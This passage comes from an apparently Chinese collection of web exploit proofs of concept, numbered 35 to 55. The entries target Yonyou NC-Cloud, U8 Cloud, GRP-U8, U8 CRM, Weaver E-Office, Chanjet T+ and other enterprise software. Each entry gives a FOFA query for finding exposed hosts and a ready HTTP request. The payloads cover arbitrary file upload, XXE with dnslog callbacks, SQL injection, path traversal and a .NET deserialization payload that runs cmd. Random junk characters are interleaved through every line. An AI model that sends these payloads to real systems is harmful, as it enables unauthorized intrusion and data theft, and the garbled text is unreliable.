8 F' D' L" Q: C3 B' ^User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36( W- _: J- D/ f! D' ?: `% W' j
Content-Type: application/x-www-form-urlencoded2 u- W4 u# b/ Q2 v2 x
Accept-Encoding: gzip, deflate" f' e/ l8 L& L  {
Accept: */*
# u7 E7 ~* s( uConnection: keep-alive
" q* w) @& K# z8 r. }9 [- y! q% I% G5 x6 P7 ]' j
( v0 j7 w  n9 }% h! S
35. 用友NC-Cloud importhttpscer任意文件上传
2 o# M" n# s7 f) {% ^FOFA:app="用友-NC-Cloud"6 |! K5 K+ T/ |# q: ?3 h  ]
POST /nccloud/mob/pfxx/manualload/importhttpscer HTTP/1.1* c) b" L4 f. }1 [4 e. P' y7 e
Host: 203.25.218.166:8888
" ~5 y% d: A' ?User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0 info
. ?& R& M+ N& g3 J9 _7 ~Accept-Encoding: gzip, deflate( o5 Q* B! F; V, W; F* h2 @# e
Accept: */*
8 ^1 u" J1 u5 q: gConnection: close/ U! u5 I% }1 x6 o+ @
accessToken: eyJhbGciOiJIUzUxMiJ9.eyJwa19ncm91cCI6IjAwMDE2QTEwMDAwMDAwMDAwSkI2IiwiZGF0YXNvdXJjZSI6IjEiLCJsYW5nQ29kZSI6InpoIiwidXNlclR5cGUiOiIxIiwidXNlcmlkIjoiMSIsInVzZXJDb2RlIjoiYWRtaW4ifQ.XBnY1J3bVuDMYIfPPJXb2QC0Pdv9oSvyyJ57AQnmj4jLMjxLDjGSIECv2ZjH9DW5T0JrDM6UHF932F5Je6AGxA1 n, O$ ~' S' j& i1 [7 I
Content-Length: 190. ~* V' g) Y$ s- Y2 |$ R
Content-Type: multipart/form-data; boundary=fd28cb44e829ed1c197ec3bc71748df0! L8 c* k$ s! o/ v: G
8 r; W& S  q8 Q5 O2 p8 \5 W
--fd28cb44e829ed1c197ec3bc71748df0
* m) ?9 r8 e( w9 q8 F+ |Content-Disposition: form-data; name="file"; filename="./webapps/nc_web/1.jsp"
4 P9 k! z2 D& n; V- R1 f' n4 w) a9 B+ w
<%out.println(1111*1111);%>
. k! `* f" T1 u--fd28cb44e829ed1c197ec3bc71748df0--3 N7 C- f( b: T" y2 j+ I* S

) K+ O6 l# B$ U$ r# b' L
9 s- b8 C( A/ }( ?- Q8 X/ R36. 用友NC-Cloud soapFormat XXE
+ M- Z& s9 b9 jFOFA:body="/Client/Uclient/UClient.exe"||body="ufida.ico"||body="nccloud"||body="/api/uclient/public/"
( {2 o# J# ^  ]3 [$ C6 FPOST /uapws/soapFormat.ajax HTTP/1.1! b3 z/ G- M; c) z$ N" M
Host: 192.168.40.130:8989
% e6 X4 v1 p7 [User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/109.0
0 v- H: m7 r9 A* R% G8 BContent-Length: 263  c) ~; S' m& m
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8- ?7 D+ z& i* J. c
Accept-Encoding: gzip, deflate% X5 H6 K. X  b' m0 w- H
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2- x; E  u  }0 ^% l# X
Connection: close$ i0 r$ v0 G& u& q  }6 g3 b( Y. j4 O
Content-Type: application/x-www-form-urlencoded
+ r& d2 i8 v1 t% z7 c, RUpgrade-Insecure-Requests: 1
1 d1 M$ |" M5 R. Z. M' O+ ?  T
# k$ o+ @" J, y7 [msg=<!DOCTYPE foo[<!ENTITY xxe1two SYSTEM "file:///C://windows/win.ini"> ]><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><soap:Fault><faultcode>soap:Server%26xxe1two%3b</faultcode></soap:Fault></soap:Body></soap:Envelope>%0a% p& W0 a" Z* Y. _

# d+ j- r4 R* G5 `
9 c/ u, G/ [" V) `7 v$ H37. 用友NC-Cloud IUpdateService XXE8 ^. s7 m! W" Y" ]
FOFA:body="/Client/Uclient/UClient.exe"||body="ufida.ico"||body="nccloud"||body="/api/uclient/public/"
: M+ M/ Y+ ^! n# vPOST /uapws/service/nc.uap.oba.update.IUpdateService HTTP/1.11 m8 F( N8 D) S9 T
Host: 192.168.40.130:8989) K6 Q( @7 c, q. R/ i
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36" E3 Z. D  N  A. x; `: Y3 ?! C0 l0 V
Content-Length: 421
1 }; K7 {: S( R' Q  t" {- NAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
9 y: Z2 D* Z: l3 B5 ^Accept-Encoding: gzip, deflate
+ m/ y3 n: @) [4 E4 O2 TAccept-Language: zh-CN,zh;q=0.9
! _" G) i0 H# ?. \% m6 J% HConnection: close
& q) j% ?! r$ C1 _Content-Type: text/xml;charset=UTF-8
) z/ y  Z0 n% E: XSOAPAction: urn:getResult
$ t* C- B) P" j+ }& h2 o7 x( ^4 oUpgrade-Insecure-Requests: 1) i4 o1 d! C7 P; P5 N+ z1 Y5 _

1 i. V& q8 X# B<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:iup="http://update.oba.uap.nc/IUpdateService">( ^2 Y5 W9 R) C1 n8 W+ p' c
<soapenv:Header/>4 f, j/ R! I1 k3 R: o1 J- G$ m
<soapenv:Body>
% p3 D8 p, R" `" d# W  c# `! A1 O) Y<iup:getResult>! x- v* X. o" u  g
<!--type: string-->) B# H, H  o/ g8 k+ x+ w
<iup:string><![CDATA[
/ Y4 g7 u* p* N8 K<!DOCTYPE xmlrootname [<!ENTITY % aaa SYSTEM "http://c2vkbwbs.dnslog.pw">%aaa;%ccc;%ddd;]>
  C9 E0 q8 I1 n3 [' i<xxx/>]]></iup:string>, s0 M" L/ c( Q& @. G: N. K- `% X3 H0 P
</iup:getResult>6 E0 E: \4 m: t2 J# G  A
</soapenv:Body>
: g: i6 ~2 E9 W$ H8 \</soapenv:Envelope>6 I" \: u9 K7 p" j- F. _; j$ v+ h

1 q3 N. a5 K5 P5 K6 X. l- G
$ F2 E2 M- |, M
0 p) N. m/ V8 S. f+ H38. 用友U8 Cloud smartweb2.RPC.d XXE7 F! V% q9 ?* F: P7 K/ Y
FOFA:app="用友-U8-Cloud"
% f9 s2 ]* o  }POST /hrss/dorado/smartweb2.RPC.d?__rpc=true HTTP/1.11 s; f+ X5 O0 N9 S+ G, n
Host: 192.168.40.131:8088
6 R- V* \6 p, h$ @+ i" V- L  F0 YUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 12_10) AppleWebKit/600.1.25 (KHTML, like Gecko) Version/12.0 Safari/1200.1.25  V. T( \& y' p/ ]0 d! Y
Content-Length: 260) a, A8 [9 w, U
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
, e: `$ J( p" {0 Y) o: eAccept-Encoding: gzip, deflate
2 ^# c9 K; i. j$ E1 rAccept-Language: zh-CN,zh;q=0.9
' J5 H; h3 k" M  y' qConnection: close. }6 E! k1 |9 W2 H1 X* F+ y% }
Content-Type: application/x-www-form-urlencoded
- j+ p! G) E9 n6 I* f) |
8 I8 F) O7 }. T" ^9 g: \0 P. c5 P) P__viewInstanceId=nc.bs.hrss.rm.ResetPassword~nc.bs.hrss.rm.ResetPasswordViewModel&__xml=<!DOCTYPE z [<!ENTITY Password SYSTEM "file:///C://windows//win.ini" >]><rpc transaction="10" method="resetPwd"><vps><p name="__profileKeys">%26Password;</p ></vps></rpc>' p! d+ [- b! a4 N* y* u
. e+ M( h. U# V, Y; b5 C
# [5 L) J7 y5 A
39. 用友U8 Cloud RegisterServlet SQL注入
, `+ ~! x1 C3 ~FOFA:title="u8c"- D+ F* [2 A1 W  @% E, V" N( S+ t
POST /servlet/RegisterServlet HTTP/1.19 L. \, |. I; g
Host: 192.168.86.128:8089$ Z( T+ ~1 g3 S2 I# b
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2866.71 Safari/537.36' o: \1 k' W9 j" k: I2 C/ r
Connection: close2 k- s" B( i+ f7 \: X) A% `3 H
Content-Length: 85
" Y/ O; k4 S5 I/ w6 @' x! AAccept: */*
4 r, G0 C; m8 o1 xAccept-Language: en
1 A6 q: `2 p+ M: {' NContent-Type: application/x-www-form-urlencoded
) }4 B$ B8 g+ Y# cX-Forwarded-For: 127.0.0.1
9 D5 v; G% x6 aAccept-Encoding: gzip1 r# O* O1 ?  k3 c% k

& g2 O; b; W, m& M  j8 a. A! f0 Xusercode=1' and substring(sys.fn_sqlvarbasetostr(HashBytes('MD5','123456')),3,32)>0--
; q- ], F' ?0 x+ X! d& z- w3 B, s, M( ~- J: d- O
4 H0 I# M3 ?9 d6 {6 ^% M
40. 用友U8-Cloud XChangeServlet XXE
2 L  \4 _& O  X. _FOFA:app="用友-U8-Cloud"
4 t+ a$ O. s/ ZPOST /service/XChangeServlet HTTP/1.1& n1 _3 u# J( |+ H) g
Host: x.x.x.x5 N7 }) H5 U4 {1 h) l  F- ]2 f6 k( D
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36# K+ W9 W( h  {! h
Content-Type: text/xml3 Y! R  E) P9 w5 @/ y/ G) E
Connection: close& H' ], K# u1 }0 c  W+ V+ P

# I1 `. D$ x6 @+ ^! l<!DOCTYPE r [<!ELEMENT r ANY ><!ENTITY xxe SYSTEM "http://farr9frh.dnslog.pw">]><r><a>&xxe;</a ></r>8 e. o$ D+ h# t- W# a

' t5 M8 i4 m4 o' d, O$ }( }& A; i/ w  s# ?
41. 用友U8 Cloud MeasureQueryByToolAction SQL注入' g7 M6 T" {" N: z: [& v
FOFA:app="用友-U8-Cloud". H9 p% m; _7 G/ I/ }  o& Q
GET /service/~iufo/com.ufida.web.action.ActionServlet?action=nc.ui.iufo.query.measurequery.MeasureQueryByToolAction&method=execute&query_id=1%27);WAITFOR+DELAY+%270:0:5%27--+ HTTP/1.1# ]) O' ^; O8 o$ r1 X. j9 L7 C. {  r
Host:6 k( }! |) v" r) h
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
# ]2 M/ m) s2 t& O$ m; P9 o. N7 wContent-Type: application/json1 o6 v6 V" a: n" O3 E) x/ V
Accept-Encoding: gzip4 X5 U. y- I; I$ K. p1 j
Connection: close
! g- p  R% @: x; f$ E
  w3 V2 l$ w/ a$ [( s4 U
3 Q. c$ N6 x3 ~+ e) k" }4 ~42. 用友GRP-U8 SmartUpload01 文件上传
, I' d% k0 H6 |: t: w* [( uFOFA:app="用友-GRP-U8"
* |/ @, y' m1 q8 SPOST /u8qx/SmartUpload01.jsp HTTP/1.15 C& O: Y: S# _' ^1 b& D
Host: x.x.x.x
2 }8 n  O% j% `9 n' Y8 ^: D5 nContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryzhvrkrqt8 N1 c: u* D. D9 A, j# x% X
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.360 y4 H9 m1 c. i( Z- F5 R
. n) u3 y# @% e* g. l* `( A
PAYLOAD
, L* A, I0 N* g* w5 z, f7 e' N$ c8 i% F0 s* n' u% ]' n

- _9 V2 ]& q5 |http://x.x.x.x/jatoolsreport?file=/1.pdf&as=dhtml5 W+ N8 K: E; {+ B, e+ y6 d6 J7 `( G: S
! B& Y6 X0 X% m. h4 n
43. 用友GRP-U8 userInfoWeb SQL注入致RCE8 V7 I- y" c. Y  f: T
FOFA:app="用友-GRP-U8"
7 H$ J" w  O2 d0 C3 p7 X& xPOST /services/userInfoWeb HTTP/1.1
4 N, P9 |% r9 }: C# `Host: your-ip
. b* f# K- V4 m" VUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36; E6 U; A- C4 N5 G! \
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
0 E3 W- X  B/ U6 M) A2 n  R' L) TAccept-Encoding: gzip, deflate5 X0 x/ |  l# y; f9 O' Q
Accept-Language: zh-CN,zh;q=0.9
  Z$ T# r- u7 u! T0 @" f+ qConnection: close2 O5 T' Q  z; D, B% N
SOAPAction:
- l4 v' y  I, j  x( nContent-Type: text/xml;charset=UTF-8: Z% E) Q! E7 W+ R
: }- x1 ~2 y* q
<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ser="http://service.pt.midas.ufgov.com">
5 m/ Z' p9 x0 s/ d0 J' I; z( V   <soapenv:Header/>
# d) P" U! O8 Y5 e: c4 m. T   <soapenv:Body>
, h! U# k" ?: r) u4 H  a1 N      <ser:getUserNameById soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">* i, w$ p( ~" N, N& R+ ]/ Z4 _0 u9 P
         <userId xsi:type="soapenc:string" xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/">';waitfor delay '0:0:5'--</userId>; K9 c4 K6 J1 U( R5 P. t8 p- {
      </ser:getUserNameById>
4 r# a! _9 T" P' }0 R# ]   </soapenv:Body>
0 d+ E0 z1 U5 _& o</soapenv:Envelope>5 e- M/ a  z6 Q) x1 c/ B/ ^
" T. Z- G* h8 N% ^

0 \/ @8 J; t$ b! H; d( S* x# y44. 用友GRP-U8 bx_dj_check.jsp SQL注入
( s" S( Z& R4 }% ?$ c( X( w7 E% \8 KFOFA:app="用友-GRP-U8"
% ?7 ?9 r% q) W8 v: FGET /u8qx/bx_dj_check.jsp?djlxdm=OER&djid=1';waitfor+delay+'0:0:5'-- HTTP/1.19 ~( F0 }& w( `
Host: your-ip
/ s. m$ ?6 D# s% Y6 xUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
7 Q. Q5 d2 Q5 ]$ f. KAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7) V6 G" O! a) C+ ~/ T
Accept-Encoding: gzip, deflate
* Q5 V) \) X. U2 `Accept-Language: zh-CN,zh;q=0.98 c1 U/ A. g1 z% r8 G2 ^( P
Connection: close
: `; [4 i0 N2 n9 e; O- o/ F# g6 X7 s% s' e3 J

/ O/ L  q* b0 w8 s) U; s45. 用友GRP-U8 ufgovbank XXE
8 q* j' }( B% I9 R( ?, MFOFA:app="用友-GRP-U8"
* P. I9 W2 K6 Y/ ?POST /ufgovbank HTTP/1.14 l5 [2 k- @" x6 k1 ]$ K
Host: 192.168.40.130:222' X) ~- j3 y# }
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0
$ z- Q" i  L  t6 f9 }, K- LConnection: close
. H" v' S2 L) B2 Y8 [+ F) W( CContent-Length: 161) C& t7 K# u& n, U0 Y0 F
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
0 J* ?5 G  e* |9 {( e" pAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2  n( z% U9 c1 W% S3 f" x) V
Content-Type: application/x-www-form-urlencoded
2 g& @3 ?/ ?) m0 v5 g' eAccept-Encoding: gzip
0 ~/ {9 s4 A& ?# U6 x, W7 R$ `6 n8 w# F! u2 ]1 ]5 {7 [' U
reqData=<?xml version="1.0"?>' `9 z% V: D7 R: N
<!DOCTYPE foo SYSTEM "http://c2vkbwbs.dnslog.pw">&signData=1&userIP=1&srcFlag=1&QYJM=0&QYNC=adaptertest
% i) a2 y1 e4 |
! b/ F$ b2 W1 I+ |" E/ s* l- S. Q  K# w
46. 用友GRP-U8 sqcxIndex.jsp SQL注入  E4 K2 q' H: s" m  S
FOFA:app="用友-GRP-U8") ^. t# _" G3 M) o
GET /u8qx/sqcxIndex.jsp?key=1');+waitfor+delay+'0:0:5'-- HTTP/1.1* e: f$ A% O( S6 f/ R
Host: your-ip$ K1 `! R" w' y5 S2 q* E9 [' z
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36
% `* N9 a! {2 t7 j, kAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
; t8 F9 x5 [: [+ cAccept-Encoding: gzip, deflate
! x, Y% x/ Z, CAccept-Language: zh-CN,zh;q=0.9
# I" a, `6 A% S8 \' {Connection: close
5 @. i& W1 x! R7 H
; j2 l' f; S6 y/ F* m  Z. j  N9 Y  f! W8 y
47. 用友GRP A++Cloud 政府财务云 任意文件读取2 C! X+ w( i) Y, a6 m8 T
FOFA:body="/pf/portal/login/css/fonts/style.css"1 h' f, S4 t" {: s; `% `( k
GET /ma/emp/maEmp/download?fileName=../../../etc/passwdHTTP/1.1
  v+ a$ q- {& W$ [7 NHost: x.x.x.x8 U$ _. s/ L( }* B8 P( Y9 _6 g
Cache-Control: max-age=0
3 n5 K3 r6 n7 XUpgrade-Insecure-Requests: 1
& a4 l6 o* X' @7 W8 [4 U& YUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
% x0 e- @( e+ R( pAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7" W, L  y( x/ p& j! b& |# S) ~
Accept-Encoding: gzip, deflate, br$ y2 b5 D! n; {4 _
Accept-Language: zh-CN,zh;q=0.9# d9 l) j$ u- |' R* {
If-Modified-Since: Wed, 11 Oct 2023 05:16:05 GMT
" }- ~. b6 e! eConnection: close) j, y- k, C9 f. l, Z5 o7 ^

9 {+ V" G" i( M6 n! q5 k: d7 ]) Y( A7 t+ i! F4 [

4 [7 X4 J+ B# z9 B+ y1 _. O( ^48. 用友U8 CRM swfupload 任意文件上传, T: K* H5 K5 S
FOFA:title="用友U8CRM"
" ^# b% D0 t# d, j% W$ YPOST /ajax/swfupload.php?DontCheckLogin=1&vname=file HTTP/1.1
* `- x3 @9 k: A! E/ D. w. Q! {3 FHost: your-ip
+ U2 S5 J+ b! x+ PUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.00 u. K" F3 R5 ~/ f; L
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.86 z' Q  y9 R7 {4 _
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
: j. P' N" H' J: {Accept-Encoding: gzip, deflate
: l& G# V% a3 r; L# o% [Content-Type: multipart/form-data;boundary=----2695209672394068716424300668556 Z; K. t9 x" F  v, l9 p- S
------269520967239406871642430066855
! R/ k' d/ [# D. x+ pContent-Disposition: form-data; name="file"; filename="s.php"3 z$ L/ Y  T& ~3 U  G7 r1 ~7 J# k
1231+ I+ G5 D2 H2 @! Y! e
Content-Type: application/octet-stream
3 A$ R4 m, b6 D5 ?( W3 H% Z------269520967239406871642430066855* f) v7 ^" L1 C7 K  K
Content-Disposition: form-data; name="upload"
; W# t' Y  v! B6 f5 J) D  dupload
% x- J" O' X: ^' C" u: B2 L- A------269520967239406871642430066855--
! J5 |8 K7 ?! i, V9 a% \$ x4 k; ^" S
* a. Z) q; _, x2 ~" h3 f4 X% H
49. 用友U8 CRM系统uploadfile.php接口任意文件上传/ `6 y$ p1 r4 u8 z0 H2 o, ?
FOFA:body="用友U8CRM"
- u: e* j( i1 m4 S3 @% C! Y  U/ r& J
POST /ajax/uploadfile.php?DontCheckLogin=1&vname=file HTTP/1.1. x- _0 d4 ~) t1 i( K
Host: x.x.x.x
* s0 x# o" y5 p' rUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0% M# D! _. x: K; z8 M
Content-Length: 329% |2 _+ g* O' C* H) C
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8  f. ^0 f3 a& S
Accept-Encoding: gzip, deflate0 g) y9 V% ?+ o* ^; l7 e% T
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.23 O5 T  F# v1 ~9 v' h
Connection: close1 \7 C+ L  Y8 _# g# d
Content-Type: multipart/form-data; boundary=---------------------------vvv3wdayqv3yppdxvn3w4 L0 U$ ]) e+ g/ l

6 S7 ~% ^& R/ O. F2 u-----------------------------vvv3wdayqv3yppdxvn3w# Y3 Z: I# f) v3 k- W! v
Content-Disposition: form-data; name="file"; filename="%s.php "! p: n- e; `, [+ ^9 C. H! j* f3 D
Content-Type: application/octet-stream0 c- N! r7 Q1 P8 @. |
! P* i1 a9 J( @9 e7 Y# V" b
wersqqmlumloqa4 @+ u8 K- M8 d! B7 F4 M! y' G( N9 _
-----------------------------vvv3wdayqv3yppdxvn3w% m. K' v- e* O9 O5 z) Y
Content-Disposition: form-data; name="upload"4 {  N* t: r8 i# t0 `! C$ M( ~
9 X) h/ H; k3 p. B* J
upload
, a/ d7 C3 `. [0 f-----------------------------vvv3wdayqv3yppdxvn3w--
1 i$ z  k+ s8 H4 y1 @7 X$ Y. V" C) T# |, u  V
  s4 @: `- Z0 o. [8 y+ i, A; N
http://x.x.x.x/tmpfile/updB3CB.tmp.php5 O9 W5 l3 e8 d$ o# u4 t+ G# B
& C+ @* F4 @" _' T4 R( b
50. QDocs Smart School 6.4.1 filterRecords SQL注入
: Z! N* i$ f$ s8 w+ Z+ g+ E; M  N7 [FOFA:body="close closebtnmodal": Q: ^5 p9 m" H0 K5 f0 V
POST /course/filterRecords/ HTTP/1.1) n2 O' h$ }" g4 c
Host: x.x.x.x8 K! `1 B7 k# _5 D. f+ B- d% G
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
+ T5 ~. }6 j7 HConnection: close4 {& @6 G$ I6 ^% d6 J! O. y5 n# }) R
Content-Length: 224
1 e7 o( V- j; g# ~. c" M/ mAccept: */*: i# R4 W* p8 J$ d3 D
Accept-Language: en0 _3 ?# T2 \- p) b2 T
Content-Type: application/x-www-form-urlencoded
; L" c; i& e' [% d' J; I# P* i: D/ cAccept-Encoding: gzip# Y: O( b4 U+ [2 G; J$ N1 y

  B# R: O6 k& Msearchdata[0][title]=&searchdata[0][searchfield]=1&searchdata[0][searchvalue]=1&searchdata[1][title]=1&searchdata[1][searchfield]=1=1 and extractvalue(1,concat(0x5e,(select md5(123456)),0x5e))%23&searchdata[1][searchvalue]=1
, v" r: X+ K* y5 P4 m# n9 e4 G. e0 \0 s: Z- Z- _

& x, @8 ]' }5 n% |$ I/ I0 n51. 云时空社会化商业 ERP 系统 validateLoginName SQL 注入
) |1 E% {$ P- `7 |FOFA:app="云时空社会化商业ERP系统"+ E4 |) b+ N: r: }7 Q
GET /sys/user/validateLoginName?loginName=admin'+AND+4563=DBMS_PIPE.RECEIVE_MESSAGE(CHR(65),5)-- HTTP/1.1
+ O9 D8 K, O: x& V/ [5 B5 V$ B1 @Host: your-ip! e7 Z( G0 T2 F
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36  X2 F. s. f: D
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
& d8 @/ S0 [" n1 j7 L% d, FAccept-Encoding: gzip, deflate9 y- M- L, x! h, Y+ w+ z' y& a$ P
Accept-Language: zh-CN,zh;q=0.9
/ J( o8 j) z2 G9 UConnection: close2 \% }( q" J! W0 T7 M5 j( {
' T0 K. p; Y- m' }' P/ y% F6 [' O* X& X
% |  I1 o# ?8 p, {
52. 泛微E-Office json_common.php sql注入
. Q! z# J  F0 MFOFA:app="泛微-EOffice"
* A2 x* a2 w, n6 K* t5 c' ]. EPOST /building/json_common.php HTTP/1.1: i5 R, \; M! ?+ ^2 K! f
Host: 192.168.86.128:8097: R, w& T! Q( i, z& s
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
$ ^- \' P: E5 S, ]Connection: close
7 ^) Y. _! Z9 E% kContent-Length: 87
/ a. I' ^$ s  I0 b2 N8 n, eAccept: */*
4 P- e  e; q" s1 MAccept-Language: en
$ @. D0 B7 o( K$ i% I6 DContent-Type: application/x-www-form-urlencoded
# r+ I; L" b; k$ Z5 TAccept-Encoding: gzip
$ q& `; Q3 X: i2 I6 T; v1 N* D% O; N2 L+ ?/ C2 {0 T/ z
tfs=city` where cityId =-1 /*!50000union*/ /*!50000select*/1,2,md5(102103122) ,4#|2|333
" q3 z  E3 R) x+ a- v9 k3 _2 X4 R4 m
5 T6 x, w9 q" O3 n9 m) A+ C2 m
53. 迪普 DPTech VPN Service 任意文件上传4 S; h$ V' s8 D3 T
FOFA:app="DPtech-SSLVPN"5 ?8 D7 C% j/ m) L5 i6 s" m. ?
/..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd
- M& }2 F! j, G+ L/ `5 [9 J, B: F2 B& m! j( X1 J, S

: ~7 a! i) [" i  j3 z9 e# h54. 畅捷通T+ getstorewarehousebystore 远程代码执行8 X& }% L" t# p; z8 j
FOFA:app="畅捷通-TPlus"
5 h3 F, K% y2 f  B: ?; {" Y4 [1 X第一步,向目标发送数据包,执行命令,将指定字符串写入指定文件/ n# c/ F7 j. b: F0 i. |4 x
"/c echo 2WcBDoxC7JXhegsmOp6vJJ2dZBl > .2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt"
6 `5 F' t1 a# w. o" m
. @% o! d& v# A( z1 h  Q
3 U1 Q; C1 m" f' X" u完整数据包" P+ h* V& I3 L( a; }
POST /tplus/ajaxpro/Ufida.T.CodeBehind._PriorityLevel,App_Code.ashx?method=GetStoreWarehouseByStore HTTP/1.1
  K* ?  ^8 T( v9 t% G9 P  Y* WHost: x.x.x.x
6 U9 `9 u$ l/ B8 l4 X4 s) W, _+ X( ?2 RUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/4E423F
5 L: G0 V5 d: q2 PContent-Length: 5934 z. L2 |. E4 V( M' l

8 s# q& T& \" \; Z* J{* Y6 V7 I! F6 l  m
"storeID":{
! S& L( w8 }! r1 y "__type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
8 }9 Q; T% A% v' ]' G "MethodName":"Start",
3 i' _; H% r1 W! n1 l* d  "ObjectInstance":{
* {' E2 y8 r: H   "__type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
" G8 B! I4 G3 i2 U" i8 f    "StartInfo":{; n7 _5 x' S' T6 c# C% m- T* r: E
   "__type":"System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",* C! ^3 v/ c" R5 H
    "FileName":"cmd",& C9 q7 n: q4 t+ w
    "Arguments":"/c echo 2WcBDoxC7JXhegsmOp6vJJ2dZBl > .2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt": Z* z. L: ?' t( ^  Q& L
    }
: l; @4 T( r. B  }( m6 H( r& v0 V& J
  }  P" w6 G4 i; r' A1 P0 t
}$ M( p  M. _- I9 S6 M; |$ Z

/ v$ g" S6 j- d$ \/ |- q( |# B4 g% ]6 W* J* ^9 C3 u: \9 D7 g1 u
第二步,访问如下url
* O1 c+ g7 y5 ?' y/tplus/.2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt$ J) b% ?" E9 u: Y/ M
' g) z3 U0 N* @# E+ r1 k, A' \
. Z. z- s# [; G4 k- ~7 p
55. 畅捷通T+ getdecallusers信息泄露2 L- g( t9 O9 l, b
FOFA:app="畅捷通-TPlus"
  X( Y( G4 m  M; ~. ]" a第一步,通过
) _/ j  D+ |: J' `4 f/tplus/ajaxpro/Ufida.T.SM.Login.UIP.LoginManager,Ufida.T.SM.Login.UIP.ashx?method=CheckPassword接口获取Cookie
+ A! }2 X0 z' ?第二步,利用获取到的Cookie请求6 i$ c0 e& p; L, i7 c
